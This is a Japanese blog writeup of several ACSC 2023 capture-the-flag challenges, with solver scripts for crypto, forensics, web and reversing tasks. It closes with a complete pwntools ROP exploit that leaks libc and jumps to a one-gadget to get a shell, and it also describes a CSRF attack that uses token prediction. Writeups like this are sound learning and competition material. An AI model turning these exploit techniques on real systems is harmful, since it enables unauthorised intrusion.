ACSC 2023 Writeup

International Cybersecurity Challenge (ICC) のアジア予選であるところの Asian Cyber Security Challenge (ACSC) 2023 に出ました。Writeup 書いておきます。

Eyecatch

ACSC 2023 について

公式ページ に記載のある通り、Asian Cyber Security Challenge (ACSC) は International Cybersecurity Challenge (ICC) という競技のアジア予選です。

The ACSC is the regional final of the International Cybersecurity Challenge (ICC) — a global CTF competition, supported by the European Union Agency for Cybersecurity (ENISA). It is organised to identify talented CTF players to represent Asia to compete on the world stage at ICC.

“under 26 years of age (25 years or younger as of January 1st, 2023 in “international age”. Born on or after 01.01.1997)” を満たす人は、ACSC の国別ランキングで上位を取ることで、国際決勝であるところの ICC に出場できるようです。 日本からは上位 3 人が選出されるらしく、私は 2023/01/01 時点で 24 歳なので条件を満たしており1、かつ日本人ランキングだと 2 位なので ICC に出場できる説があります2。 ちなみに決勝出場条件を満たさない人も含むランキングでは 18 位です。渋いね。

Ranking

所属先の会社(Flatt Security)では経営と、複数事業の中でもシード期にある新規事業のための全て(開発/営業/BizDev/…)が僕の役目なので、 競技パソカタコンテストからは離れた人生を送っていますが、たまに出てみると面白いものです。 CTF は高々 24-48 時間程度で脳汁味わえるのがいいです。新規事業は脳汁出るまでに時間かかるし Misc 1000pts みたいなの多すぎる。 どっちも好きですけどね。

解けた問題

10 問解きました:

  • Welcome (warmup, 10pts)
  • Merkle Hellman (warmup, crypto, 50pts)
  • pcap-1 (warmup, forensics, 50pts)
  • Admin dashboard (warmup, web, 100pts)
  • serverless (warmup, rev, 80pts)
  • Vaccine (warmup, pwn, 50pts)
  • Check_number_63 (crypto, 150pts)
  • easySSTI (web, 200pts)
  • Gotion (web, 250pts)
  • Hardware is not so hard (hardware, 100pts)

Challenges

実質 Warmup で体温めて終わっている気もします。「大体上位が解くものは落とさず解いて、その上で 1, 2 問は数 solve の問題を抑える」みたいな気持ちで時間を使ったとはいえ(それこそ順位が落ちてきたタイミングで 0 solve の Web 400pt より 40+ solves の Crypto 150pts を選ぶみたいなことはした)、一桁 solves の問題をちゃんと解くにはちゃんとパソカタしなくてはならないですね。ClamAV と Dart 5 億時間使った割に解けなかった。本業の事業を伸ばすのがあくまで優先として、ICC に出られるなら多少の精進はつみたいものです。

各問題について

Welcome (warmup, 10pts)

Discord にジョインするだけ。今回はスコアサーバの ID 周りが Discord とも接続されていて面白かった。

Merkle Hellman (warmup, crypto, 50pts)

問題設定

We tired of RSA, try a new cryptosystem by merkle and hellman but we don’t know how to decrypt the ciphertext.

We need your help for decrypt the ciphertext to get back my flag.txt!

(問題ファイルへのリンク)

問題ファイルは以下のような Python スクリプトでした:

#!/usr/bin/env python3
import random
import binascii

def egcd(a, b):
	if a == 0:
		return (b, 0, 1)
	else:
		g, y, x = egcd(b % a, a)
		return (g, x - (b // a) * y, y)

def modinv(a, m):
	g, x, y = egcd(a, m)
	if g != 1:
		raise Exception('modular inverse does not exist')
	else:
		return x % m

def gcd(a, b):
	if a == 0:
		return b
	return gcd(b % a, a)

flag = open("flag.txt","rb").read()

# Generate superincreasing sequence
w = [random.randint(1,256)]
s = w[0]
for i in range(6):
	num = random.randint(s+1,s+256)
	w.append(num)
	s += num

# Generate private key
total = sum(w)
q = random.randint(total+1,total+256)
r = 0
while gcd(r,q) != 1:
	r = random.randint(100, q)

# Calculate public key
b = []
for i in w:
	b.append((i * r) % q)

# Encrypting
c = []
for f in flag:
	s = 0
	for i in range(7):
		if f & (64>>i):
			s += b[i]
	c.append(s)

print(f"Public Key = {b}")
print(f"Private Key = {w,q}")
print(f"Ciphertext = {c}")

# Output:
# Public Key = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
# Private Key = ([184, 332, 713, 1255, 2688, 5243, 10448], 20910)
# Ciphertext = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]

解法

“Ciphertext” として与えられている数列から flag.txt の内容を復元するのがゴールです。 同時に与えられた “Private Key” も短い数列で、かつ Ciphertext の i 番目の要素は「flag.txt の内容の i バイト目の、立っている bit に対応する “Private Key” の要素の和」であることは直ちに分かります。 “Private Key” は短いですから、この場合は適当に総当りすればいいですね:

#!/usr/bin/env python3
import random
import itertools
import binascii

w = [184, 332, 713, 1255, 2688, 5243, 10448]
q = 20910

b = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
c =  [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]

def comp(i):
    for l in range(len(b)):
        for subset in itertools.combinations(b, l):
            if sum(subset) == c[i]:
                return [b.index(s) for s in subset]

dd = []
for i in range(len(c)):
    dd.append(comp(i))

print(''.join([chr(sum([64>>b for b in d])) for d in dd]))

pcap-1 (warmup, forensics, 50pts)

問題設定

Here is a packet capture of my computer when I was preparing my presentation on Google Slides. Can you reproduce the contents of the slides?

(問題ファイルへのリンク)

問題ファイルは .pcapng です。Wireshark で見ると USB 関連のパケットが入っています。

解法

Keyboard っぽいデバイスが何かしらを入力しているように見えるので、キーストロークを雑に復元します:

> # in python interpreter
> from Gallimaufry.USB import USB
> pcap = USB("./capture.pcapng")
> print(pcap.devices[-5].configurations[0].interfaces[0].endpoints[0].keyboard.keystrokes)

すると「これはダミーのフラグや!」みたいメッセージが見えます。 ただ何かしらの都合でこのフラグも正当扱いになったようです。ラッキー。

Admin dashboard (warmup, web, 100pts)

問題設定

I built my first website, admin dashboard with bootstrap and PHP! Feel free to try it! Hope there is no bug..

(問題の環境へのリンク)

(配布ファイルへのリンク)

配布ファイルをざっくりと眺めると、含まれているあるページには以下のような PHP コードが含まれており、$_SESSION["user"]["role"]admin にすればよいことが分かります:

<h1 class="mt-5">Welcome <?=htmlentities($_SESSION["user"]["username"]);?></h1>
<?=($_SESSION["user"]["role"] === "admin") ? '<p class="lead">ACSC{REDACTED}</p>' : "";?>

なお $_SESSION["user"] は以下のように設定されます。

$sql = "SELECT * FROM users WHERE username = ? and password = ?";
$stmt = $conn->prepare($sql);
$stmt->bind_param("ss", $_GET['username'],$_GET['password']);
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();
if($row){
    $_SESSION["user"] = $row;
}

つまり users テーブルの中に性質のいいデータを挿入できなくてはなりません。 ここで、他ページ(/addadmin)には、roleadmin としたデータを users テーブルに挿入するためのコードが存在しています:

$sql = "SELECT * FROM secrets";
$stmt = $conn->prepare($sql);
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();
if($row){
    $A = gmp_import($row['A']);
    $C = gmp_import($row['C']);
    $M = gmp_init("0xc4f3b4b3deadbeef1337c0dedeadc0dd");
}
if (!isset($_SESSION['X'])){
    $X = gmp_import($_SESSION["user"]["username"]);
    $_SESSION['X'] = gmp_mod(gmp_add(gmp_mul($A, $X),$C),$M);
    $_SESSION["token-expire"] = time() + 30;
}else{
    if(time() >= $_SESSION["token-expire"]){
        $_SESSION['X'] = gmp_mod(gmp_add(gmp_mul($A, $_SESSION['X']),$C),$M);
        $_SESSION["token-expire"] = time() + 30;
    }
}

/* 省略 */

if(isset($_REQUEST['username']) && isset($_REQUEST['password']) && isset($_REQUEST['csrf-token'])){
    if($_SESSION["user"]["role"] !== "admin"){
        echo "<p class='text-danger'>No permission!</p>";
    }else{
        if($_REQUEST['csrf-token'] === gmp_strval($_SESSION['X'],16)){
            $sql = "INSERT INTO users (username, password, role) VALUES (?,?,'admin')";
            $stmt = $conn->prepare($sql);
            $stmt->bind_param("ss", $_REQUEST['username'], $_REQUEST['password']);
            $result = $stmt->execute();
            echo "<p class='text-success'>Added successfully!</p>";
        }else{
            echo "<p class='text-danger'>Wrong token!</p>";
        }
    }
}

つまりこの機能をいい感じに壊せ、という問題であることが分かります。

その他、このアプリケーションは admin ロールを持つユーザ(ユーザー名: admin)のセッションを持ったブラウザで任意 URL にアクセスしてくれる bot 機能」 を有しています。 CTF の XSS 問題ではよくある設定ですね。

解法

/addadmin 機能は roleadmin でないと使えませんし、csrf-token なるパラメータの値が適切でないと使えません。 まずはこの 2 要件を満たすことを考えます。

まず前者の要件は、与えられた bot 機能を用いて、 admin ユーザのセッションに対して雑に CSRF 攻撃をすれば解決できます。

その上で後者の要件について考えるために、csrf-token なるパラメータに対する正規の値の生成ロジックを眺めてみます。 いま正規の値は gmp_strval($_SESSION['X'],16) として定義されており、この値は以下のように生成される $_SESSION['X'] から直ちに計算できます:

// $A, $C を何かしらの定数とする

if($row){
    $A = gmp_import($A);
    $C = gmp_import($C);
    $M = gmp_init("0xc4f3b4b3deadbeef1337c0dedeadc0dd");
}
if (!isset($_SESSION['X'])){
    $X = gmp_import($_SESSION["user"]["username"]);
    $_SESSION['X'] = gmp_mod(gmp_add(gmp_mul($A, $X),$C),$M);
    $_SESSION["token-expire"] = time() + 30;
}else{
    if(time() >= $_SESSION["token-expire"]){
        $_SESSION['X'] = gmp_mod(gmp_add(gmp_mul($A, $_SESSION['X']),$C),$M);
        $_SESSION["token-expire"] = time() + 30;
    }
}

つまり Z を username が既知であれば直ちに計算できる適当な数として、$_SESSION['X'] の初期値 X1(A * Z + C) % M であり、次に生成される値 X2 として (A * X1 + C) % M です。 ある既知の Z を固定したときに、X1X2 を収集すれば法 M のもとで AC が求められますね。

というわけで、以下の手順を踏むことで、フラグが得られます:

  1. AC をある既知の username (自分で作成したアカウント名)に対して計算する
  2. その上でユーザー名 admin に対応する csrf-token の正規の値を生成する
  3. admin ロールを持つユーザ(ユーザー名: admin)に、以下の URL にアクセスしてもらう
    • /addadmin?username=xxxxx&password=xxxxxx&csrf-token=生成した値
  4. roleadmin のユーザが生成されるので、それでログインする

Web Warmup というか Crypto Warmup っぽい。

serverless (warmup, rev, 80pts)

問題設定

I made a serverless encryption service. It is so serverless that you should host it yourself.

I encrypted the flag with “acscpass” as the password, but have not finished implementing the decryption feature. Help me decrypt the flag!

MTE3LDk2LDk4LDEwNyw3LDQzLDIyMCwyMzMsMTI2LDEzMSwyMDEsMTUsMjQ0LDEwNSwyNTIsMTI1LDEwLDE2NiwyMTksMjMwLDI1MCw4MiwyMTEsMTAxLDE5NSwzOSwyNDAsMTU4LDE3NCw1OSwxMDMsMTUzLDEyMiwzNiw2NywxNzksMjI0LDEwOCw5LDg4LDE5MSw5MSwxNCwyMjQsMTkzLDUyLDE4MywyMTUsMTEsMjYsMzAsMTgzLDEzMywxNjEsMTY5LDkxLDQ4LDIyOSw5OSwxOTksMTY1LDEwMCwyMTgsMCwxNjUsNDEsNTUsMTE4LDIyNywyMzYsODAsMTE2LDEyMCwxMjUsMTAsMTIzLDEyNSwxMzEsMTA2LDEyOCwxNTQsMTMzLDU1LDUsNjMsMjM2LDY5LDI3LDIwMSwxMTgsMTgwLDc0LDIxMywxMzEsNDcsMjAwLDExNiw1Miw0OSwxMjAsODYsMTI0LDE3OCw5MiwyNDYsMTE5LDk4LDk1LDg2LDEwNCw2NCwzMCw1NCwyMCwxMDksMTMzLDE1NSwxMjIsMTEsODcsMTYsMjIzLDE2MiwxNjAsMjE1LDIwOSwxMzYsMjQ5LDIyMSwxMzYsMjMy

配布ファイルへのリンク

配布ファイルは以下のような難読済 JavaScript と、それに関連するファイルたちです:

var a = document["querySelector"]("form");
a["addEventListener"]("submit", function (c) {
  c["preventDefault"]();
  var d = document["querySelector"]("textarea[name='message']")["value"],
    e = document["querySelector"]("input[name='password']")["value"],
    f = document["querySelector"]("input[name='encrypt']"),
    g = b(d, e),
    h = document["querySelector"]("p.response");
  h && h["remove"]();
  var i = document["createElement"]("p");
  i["classList"]["add"]("response"),
    (i["textContent"] = "Encrypted message: " + g),
    f["insertAdjacentElement"]("afterend", i);
});

function b(d, f) {
  var g = [
      0x9940435684b6dcfe5beebb6e03dc894e26d6ff83faa9ef1600f60a0a403880ee166f738dd52e3073d9091ddabeaaff27c899a5398f63c39858b57e734c4768b7n,
      0xbd0d6bef9b5642416ffa04e642a73add5a9744388c5fbb8645233b916f7f7b89ecc92953c62bada039af19caf20ecfded79f62d99d86183f00765161fcd71577n,
      0xa9fe0fe0b400cd8b58161efeeff5c93d8342f9844c8d53507c9f89533a4b95ae5f587d79085057224ca7863ea8e509e2628e0b56d75622e6eace59d3572305b9n,
      0x8b7f4e4d82b59122c8b511e0113ce2103b5d40c549213e1ec2edba3984f4ece0346ab1f3f3c0b25d02c1b21d06e590f0186635263407e0b2fa16c0d0234e35a3n,
      0xf840f1ee2734110a23e9f9e1a05b78eb711c2d782768cef68e729295587c4aa4af6060285d0a2c1c824d2c901e5e8a1b1123927fb537f61290580632ffea0fbbn,
      0xdd068fd4984969a322c1c8adb4c8cc580adf6f5b180b2aaa6ec8e853a6428a219d7bffec3c3ec18c8444e869aa17ea9e65ed29e51ace4002cdba343367bf16fdn,
      0x96e2cefe4c1441bec265963da4d10ceb46b7d814d5bc15cc44f17886a09390999b8635c8ffc7a943865ac67f9043f21ca8d5e4b4362c34e150a40af49b8a1699n,
      0x81834f81b3b32860a6e7e741116a9c446ebe4ba9ba882029b7922754406b8a9e3425cad64bda48ae352cdc71a7d9b4b432f96f51a87305aebdf667bc8988d229n,
      0xd8200af7c41ff37238f210dc8e3463bc7bcfb774be93c4cff0e127040f63a1bce5375de96b379c752106d3f67ec8dceca3ed7b69239cf7589db9220344718d5fn,
      0xb704667b9d1212ae77d2eb8e3bd3d5a4cd19aa36fc39768be4fe0656c78444970f5fc14dc39a543d79dfe9063b30275033fc738116e213d4b6737707bb2fd287n,
    ],
    h = [
      0xd4aa1036d7d302d487e969c95d411142d8c6702e0c4b05e2fbbe274471bf02f8f375069d5d65ab9813f5208d9d7c11c11d55b19da1132c93eaaaba9ed7b3f9b1n,
      0xc9e55bae9f5f48006c6c01b5963199899e1cdf364759d9ca5124f940437df36e8492b3c98c680b18cac2a847eddcb137699ffd12a2323c9bc74db2c720259a35n,
      0xcbcdd32652a36142a02051c73c6d64661fbdf4cbae97c77a9ce1a41f74b45271d3200678756e134fe46532f978b8b1d53d104860b3e81bdcb175721ab222c611n,
      0xf79dd7feae09ae73f55ea8aa40c49a7bc022c754db41f56466698881f265507144089af47d02665d31bba99b89e2f70dbafeba5e42bdac6ef7c2f22efa680a67n,
      0xab50277036175bdd4e2c7e3b7091f482a0cce703dbffb215ae91c41742db6ed0d87fd706b622f138741c8b56be2e8bccf32b7989ca1383b3d838a49e1c28a087n,
      0xb5e8c7706f6910dc4b588f8e3f3323503902c1344839f8fcc8d81bfa8e05fec2289af82d1dd19afe8c30e74837ad58658016190e070b845de4449ffb9a48b1a7n,
      0xc351c7115ceffe554c456dcc9156bc74698c6e05d77051a6f2f04ebc5e54e4641fe949ea7ae5d5d437323b6a4be7d9832a94ad747e48ee1ebac9a70fe7cfec95n,
      0x815f17d7cddb7618368d1e1cd999a6cb925c635771218d2a93a87a690a56f4e7b82324cac7651d3fbbf35746a1c787fa28ee8aa9f04b0ec326c1530e6dfe7569n,
      0xe226576ef6e582e46969e29b5d9a9d11434c4fcfeccd181e7c5c1fd2dd9f3ff19641b9c5654c0f2d944a53d3dcfef032230c4adb788b8188314bf2ccf5126f49n,
      0x84819ec46812a347894ff6ade71ae351e92e0bd0edfe1c87bda39e7d3f13fe54c51f94d0928a01335dd5b8689cb52b638f55ced38693f0964e78b212178ab397n,
    ],
    j = Math["floor"](Math["random"]() * (0x313 * -0x8 + 0x24c1 + -0xc1f)),
    k = Math["floor"](Math["random"]() * (-0x725 + -0x1546 + 0x1c75)),
    l = g[j],
    o = h[k],
    r = l * o,
    s = Math["floor"](Math["random"]() * (0x2647 + 0x1 * 0x2f5 + -0x2937)),
    t =
      Math["pow"](
        -0x14e6 + 0x43 * 0x55 + -0x7 * 0x31,
        Math["pow"](-0x14e1 * 0x1 + -0x2697 + 0x2e * 0x14b, s)
      ) +
      (-0x235d + 0x2 * 0x82b + 0x3a * 0x54);

  function u(A) {
    var B = new TextEncoder()["encode"](A);
    let C = 0x0n;
    for (let D = 0x13c8 + 0x1 * 0x175b + -0x2b23; D < B["length"]; D++) {
      C = (C << 0x8n) + BigInt(B[D]);
    }
    return C;
  }
  var v = u(d);

  function w(A, B, C) {
    if (B === -0x9d + 0x993 + 0x1f * -0x4a) return 0x1n;
    return B % (0x1 * 0x2dc + 0x28 * -0x12 + -0xa) ===
      -0x2446 * -0x1 + 0x3 * 0xcd5 + -0x4ac5 * 0x1
      ? w((A * A) % C, B / (-0x6a3 * 0x5 + 0xcba + 0x1477 * 0x1), C)
      : (A * w(A, B - (-0x1cd0 + 0x11fc + 0xad5), C)) % C;
  }
  var x = w(v, t, r);
  let y = [];
  while (x > 0x1 * 0x371 + 0x1519 + -0x188a) {
    y["push"](Number(x & 0xffn)), (x = x >> 0x8n);
  }
  y["push"](Number(s)), y["push"](Number(k)), y["push"](Number(j));
  var z = new TextEncoder()["encode"](f);
  for (let A = -0xa00 + 0x1 * 0x20e0 + -0x4 * 0x5b8; A < y["length"]; ++A) {
    y[A] = y[A] ^ z[A % z["length"]];
  }
  return btoa(y["reverse"]());
}

解法

読みにくいので、適当にきれいにします:

function encrypt(message, password) {
  var g = [
      0x9940435684b6dcfe5beebb6e03dc894e26d6ff83faa9ef1600f60a0a403880ee166f738dd52e3073d9091ddabeaaff27c899a5398f63c39858b57e734c4768b7n,
      0xbd0d6bef9b5642416ffa04e642a73add5a9744388c5fbb8645233b916f7f7b89ecc92953c62bada039af19caf20ecfded79f62d99d86183f00765161fcd71577n,
      0xa9fe0fe0b400cd8b58161efeeff5c93d8342f9844c8d53507c9f89533a4b95ae5f587d79085057224ca7863ea8e509e2628e0b56d75622e6eace59d3572305b9n,
      0x8b7f4e4d82b59122c8b511e0113ce2103b5d40c549213e1ec2edba3984f4ece0346ab1f3f3c0b25d02c1b21d06e590f0186635263407e0b2fa16c0d0234e35a3n,
      0xf840f1ee2734110a23e9f9e1a05b78eb711c2d782768cef68e729295587c4aa4af6060285d0a2c1c824d2c901e5e8a1b1123927fb537f61290580632ffea0fbbn,
      0xdd068fd4984969a322c1c8adb4c8cc580adf6f5b180b2aaa6ec8e853a6428a219d7bffec3c3ec18c8444e869aa17ea9e65ed29e51ace4002cdba343367bf16fdn,
      0x96e2cefe4c1441bec265963da4d10ceb46b7d814d5bc15cc44f17886a09390999b8635c8ffc7a943865ac67f9043f21ca8d5e4b4362c34e150a40af49b8a1699n,
      0x81834f81b3b32860a6e7e741116a9c446ebe4ba9ba882029b7922754406b8a9e3425cad64bda48ae352cdc71a7d9b4b432f96f51a87305aebdf667bc8988d229n,
      0xd8200af7c41ff37238f210dc8e3463bc7bcfb774be93c4cff0e127040f63a1bce5375de96b379c752106d3f67ec8dceca3ed7b69239cf7589db9220344718d5fn,
      0xb704667b9d1212ae77d2eb8e3bd3d5a4cd19aa36fc39768be4fe0656c78444970f5fc14dc39a543d79dfe9063b30275033fc738116e213d4b6737707bb2fd287n,
    ],
    h = [
      0xd4aa1036d7d302d487e969c95d411142d8c6702e0c4b05e2fbbe274471bf02f8f375069d5d65ab9813f5208d9d7c11c11d55b19da1132c93eaaaba9ed7b3f9b1n,
      0xc9e55bae9f5f48006c6c01b5963199899e1cdf364759d9ca5124f940437df36e8492b3c98c680b18cac2a847eddcb137699ffd12a2323c9bc74db2c720259a35n,
      0xcbcdd32652a36142a02051c73c6d64661fbdf4cbae97c77a9ce1a41f74b45271d3200678756e134fe46532f978b8b1d53d104860b3e81bdcb175721ab222c611n,
      0xf79dd7feae09ae73f55ea8aa40c49a7bc022c754db41f56466698881f265507144089af47d02665d31bba99b89e2f70dbafeba5e42bdac6ef7c2f22efa680a67n,
      0xab50277036175bdd4e2c7e3b7091f482a0cce703dbffb215ae91c41742db6ed0d87fd706b622f138741c8b56be2e8bccf32b7989ca1383b3d838a49e1c28a087n,
      0xb5e8c7706f6910dc4b588f8e3f3323503902c1344839f8fcc8d81bfa8e05fec2289af82d1dd19afe8c30e74837ad58658016190e070b845de4449ffb9a48b1a7n,
      0xc351c7115ceffe554c456dcc9156bc74698c6e05d77051a6f2f04ebc5e54e4641fe949ea7ae5d5d437323b6a4be7d9832a94ad747e48ee1ebac9a70fe7cfec95n,
      0x815f17d7cddb7618368d1e1cd999a6cb925c635771218d2a93a87a690a56f4e7b82324cac7651d3fbbf35746a1c787fa28ee8aa9f04b0ec326c1530e6dfe7569n,
      0xe226576ef6e582e46969e29b5d9a9d11434c4fcfeccd181e7c5c1fd2dd9f3ff19641b9c5654c0f2d944a53d3dcfef032230c4adb788b8188314bf2ccf5126f49n,
      0x84819ec46812a347894ff6ade71ae351e92e0bd0edfe1c87bda39e7d3f13fe54c51f94d0928a01335dd5b8689cb52b638f55ced38693f0964e78b212178ab397n,
    ],
    j = Math.floor(Math.random() * 10),
    k = Math.floor(Math.random() * 10),
    l = g[j],
    o = h[k],
    r = l * o,
    s = Math.floor(Math.random() * 5),
    t = Math.pow(2, Math.pow(2, s)) + 1;

  // function u: convert string to int e.g. "foo" -> 0x666f6f
  function string_to_int(x) {
    // ...
  }
  var plainInt = string_to_int(message);

  // function w: exp
  var c = plainInt ** BigInt(t) % r;

  let y = [];
  while (x > 0) {
    y.push(Number(x & 0xffn));
    x = x >> 0x8n;
  }

  y.push(Number(s));
  y.push(Number(k));
  y.push(Number(j));

  var z = new TextEncoder().encode(password);
  for (let A = 0; A < y.length; ++A) {
    y[A] = y[A] ^ z[A % z.length];
  }

  return btoa(y.reverse());
}

前半の方は message を適当な数 t で累乗して r で mod を取っていますが、rlo なる適当な数の積で、かつ lo の数の候補は gh から来ていてかつ素数っぽいので RSA の暗号化計算っぽいですね。そのうえで、lo を決定するに足る値が、些末な処理を更に受けた後にこの関数の返り値として返却されています。

というわけで、問題文で与えられた暗号文は、”些末な処理” の逆演算をしたあとに、秘密鍵を既知として RSA の decrypt をすればよいです:

import base64
import math

cipher = "MTE3LDk2LDk4LDEwNyw3LDQzLDIyMCwyMzMsMTI2LDEzMSwyMDEsMTUsMjQ0LDEwNSwyNTIsMTI1LDEwLDE2NiwyMTksMjMwLDI1MCw4MiwyMTEsMTAxLDE5NSwzOSwyNDAsMTU4LDE3NCw1OSwxMDMsMTUzLDEyMiwzNiw2NywxNzksMjI0LDEwOCw5LDg4LDE5MSw5MSwxNCwyMjQsMTkzLDUyLDE4MywyMTUsMTEsMjYsMzAsMTgzLDEzMywxNjEsMTY5LDkxLDQ4LDIyOSw5OSwxOTksMTY1LDEwMCwyMTgsMCwxNjUsNDEsNTUsMTE4LDIyNywyMzYsODAsMTE2LDEyMCwxMjUsMTAsMTIzLDEyNSwxMzEsMTA2LDEyOCwxNTQsMTMzLDU1LDUsNjMsMjM2LDY5LDI3LDIwMSwxMTgsMTgwLDc0LDIxMywxMzEsNDcsMjAwLDExNiw1Miw0OSwxMjAsODYsMTI0LDE3OCw5MiwyNDYsMTE5LDk4LDk1LDg2LDEwNCw2NCwzMCw1NCwyMCwxMDksMTMzLDE1NSwxMjIsMTEsODcsMTYsMjIzLDE2MiwxNjAsMjE1LDIwOSwxMzYsMjQ5LDIyMSwxMzYsMjMy"
password = "acscpass"


g = [
    0x9940435684b6dcfe5beebb6e03dc894e26d6ff83faa9ef1600f60a0a403880ee166f738dd52e3073d9091ddabeaaff27c899a5398f63c39858b57e734c4768b7,
    0xbd0d6bef9b5642416ffa04e642a73add5a9744388c5fbb8645233b916f7f7b89ecc92953c62bada039af19caf20ecfded79f62d99d86183f00765161fcd71577,
    0xa9fe0fe0b400cd8b58161efeeff5c93d8342f9844c8d53507c9f89533a4b95ae5f587d79085057224ca7863ea8e509e2628e0b56d75622e6eace59d3572305b9,
    0x8b7f4e4d82b59122c8b511e0113ce2103b5d40c549213e1ec2edba3984f4ece0346ab1f3f3c0b25d02c1b21d06e590f0186635263407e0b2fa16c0d0234e35a3,
    0xf840f1ee2734110a23e9f9e1a05b78eb711c2d782768cef68e729295587c4aa4af6060285d0a2c1c824d2c901e5e8a1b1123927fb537f61290580632ffea0fbb,
    0xdd068fd4984969a322c1c8adb4c8cc580adf6f5b180b2aaa6ec8e853a6428a219d7bffec3c3ec18c8444e869aa17ea9e65ed29e51ace4002cdba343367bf16fd,
    0x96e2cefe4c1441bec265963da4d10ceb46b7d814d5bc15cc44f17886a09390999b8635c8ffc7a943865ac67f9043f21ca8d5e4b4362c34e150a40af49b8a1699,
    0x81834f81b3b32860a6e7e741116a9c446ebe4ba9ba882029b7922754406b8a9e3425cad64bda48ae352cdc71a7d9b4b432f96f51a87305aebdf667bc8988d229,
    0xd8200af7c41ff37238f210dc8e3463bc7bcfb774be93c4cff0e127040f63a1bce5375de96b379c752106d3f67ec8dceca3ed7b69239cf7589db9220344718d5f,
    0xb704667b9d1212ae77d2eb8e3bd3d5a4cd19aa36fc39768be4fe0656c78444970f5fc14dc39a543d79dfe9063b30275033fc738116e213d4b6737707bb2fd287,
]
h = [
    0xd4aa1036d7d302d487e969c95d411142d8c6702e0c4b05e2fbbe274471bf02f8f375069d5d65ab9813f5208d9d7c11c11d55b19da1132c93eaaaba9ed7b3f9b1,
    0xc9e55bae9f5f48006c6c01b5963199899e1cdf364759d9ca5124f940437df36e8492b3c98c680b18cac2a847eddcb137699ffd12a2323c9bc74db2c720259a35,
    0xcbcdd32652a36142a02051c73c6d64661fbdf4cbae97c77a9ce1a41f74b45271d3200678756e134fe46532f978b8b1d53d104860b3e81bdcb175721ab222c611,
    0xf79dd7feae09ae73f55ea8aa40c49a7bc022c754db41f56466698881f265507144089af47d02665d31bba99b89e2f70dbafeba5e42bdac6ef7c2f22efa680a67,
    0xab50277036175bdd4e2c7e3b7091f482a0cce703dbffb215ae91c41742db6ed0d87fd706b622f138741c8b56be2e8bccf32b7989ca1383b3d838a49e1c28a087,
    0xb5e8c7706f6910dc4b588f8e3f3323503902c1344839f8fcc8d81bfa8e05fec2289af82d1dd19afe8c30e74837ad58658016190e070b845de4449ffb9a48b1a7,
    0xc351c7115ceffe554c456dcc9156bc74698c6e05d77051a6f2f04ebc5e54e4641fe949ea7ae5d5d437323b6a4be7d9832a94ad747e48ee1ebac9a70fe7cfec95,
    0x815f17d7cddb7618368d1e1cd999a6cb925c635771218d2a93a87a690a56f4e7b82324cac7651d3fbbf35746a1c787fa28ee8aa9f04b0ec326c1530e6dfe7569,
    0xe226576ef6e582e46969e29b5d9a9d11434c4fcfeccd181e7c5c1fd2dd9f3ff19641b9c5654c0f2d944a53d3dcfef032230c4adb788b8188314bf2ccf5126f49,
    0x84819ec46812a347894ff6ade71ae351e92e0bd0edfe1c87bda39e7d3f13fe54c51f94d0928a01335dd5b8689cb52b638f55ced38693f0964e78b212178ab397,
]

# inverse of btoa
decoded = base64.b64decode(cipher)

# inverse of toString
decoded = list(map(int, decoded.split(b",")))

# inverse of reverse
decoded = list(reversed(decoded))

# new TextEncoder().encode("acscpass")
password = [97, 99, 115, 99, 112, 97, 115, 115]

# inverse of password-based XOR
decoded = [decoded[i] ^ password[i % len(password)] for i in range(len(decoded))]

# inverse of `y` construction
s = decoded[-3]
e = 2**(2**s) + 1

k = decoded[-2]
p = h[k]

j = decoded[-1]
q = g[j]

n = p * q

decoded = decoded[:-3]

x = 0
for i in range(len(decoded)):
    x = (x << 0x8) + decoded[len(decoded) - i - 1]

def lcm(x, y):
    return x * y // math.gcd(x, y)

phi = lcm(p-1, q-1)
d = pow(e, -1, phi)

m = pow(x, d, n)

print(m)
print(hex(m))

v = hex(m)[2:]
print("".join([chr(int(v[i:i+2], 16)) for i in range(0, len(v), 2)]))

Crypto 要素はあるけど Reversing warmup といえば Reversing warmup っぽい。

Vaccine (warmup, pwn, 50pts)

問題設定

Give me the correct vaccine to view my secret

nc 問題環境のホスト名

(問題ファイルへのリンク)

与えられたファイルは ELF のバイナリです。 問題環境には flag.txt というファイルが存在し、そのファイルを読むことができればフラグが得られるようです。

pwn の Writeup 書いたことがないので何を書けばいいかわかりませんが、Partial RERLO/Stack canary off/ASLR なしでした。 雑に reverse すると、愚直に scanf で入力を受け取る箇所で stack overflow を起こすことは見るとすぐに分かります。 極めて Warmup っぽく、先述の制約的にも、難しいことは考えなくていいということです。

解法

ここまで分かれば ROP して libc base を leak して、one gadget に飛ばすスクリプトキディをするだけです。ただ scanf で受け取った値が適当な性質を保つ場合にのみ return 様の処理が行われ、さもなくば exit(0) などでプログラムが終了してしまうので、入力の性質を “よい感じ” にしながら攻撃する必要はありました:

import pwn

libc = pwn.ELF("./libc-2.31.so")
p = pwn.remote('ホスト名', 1337)

# leak libc
p.recvuntil(b'Give me vaccine: ')
p.sendline(
    b"\x00" * (0x100) +
    # dummy rsp
    pwn.pack(0x12345678, 64, 'little') +
    # 0x0000000000401443 : pop rdi ; ret
    pwn.pack(0x00401443, 64, 'little') +
    # value for rdi; __isoc99_scanf@got.plt
    pwn.pack(0x00404050, 64, 'little') +
    # 0x004013ac: printf
    pwn.pack(0x004013ac, 64, 'little') +
    # dummy data
    b'A' * 0x178 +
    pwn.pack(0x00000000, 64, 'little') +
    pwn.pack(0x00000000, 64, 'little') +
    # nop for mem alignment
    pwn.pack(0x004011af, 64, 'little') +
    # 0x00401236: the begnning of main
    pwn.pack(0x00401236, 64, 'little')
)

p.recvuntil(b'another castle\n')
x = p.recv(6) + b"\x00\x00"

libc_scanf_addr = pwn.unpack(x, 64)
libc_base = libc_scanf_addr - libc.symbols['__isoc99_scanf']
print("[*] libc base", hex(libc_base))

# jump to one gadget
p.recvuntil(b'Give me vaccine: ')
gadget_addr = libc_base + 0xe3b01
p.sendline(
    b"\x00" * (0x100) +
    # dummy rsp
    pwn.pack(0x12345678, 64, 'little') +
    # one gadget
    pwn.pack(gadget_addr, 64, 'little')
)

# got shell!
p.interactive()

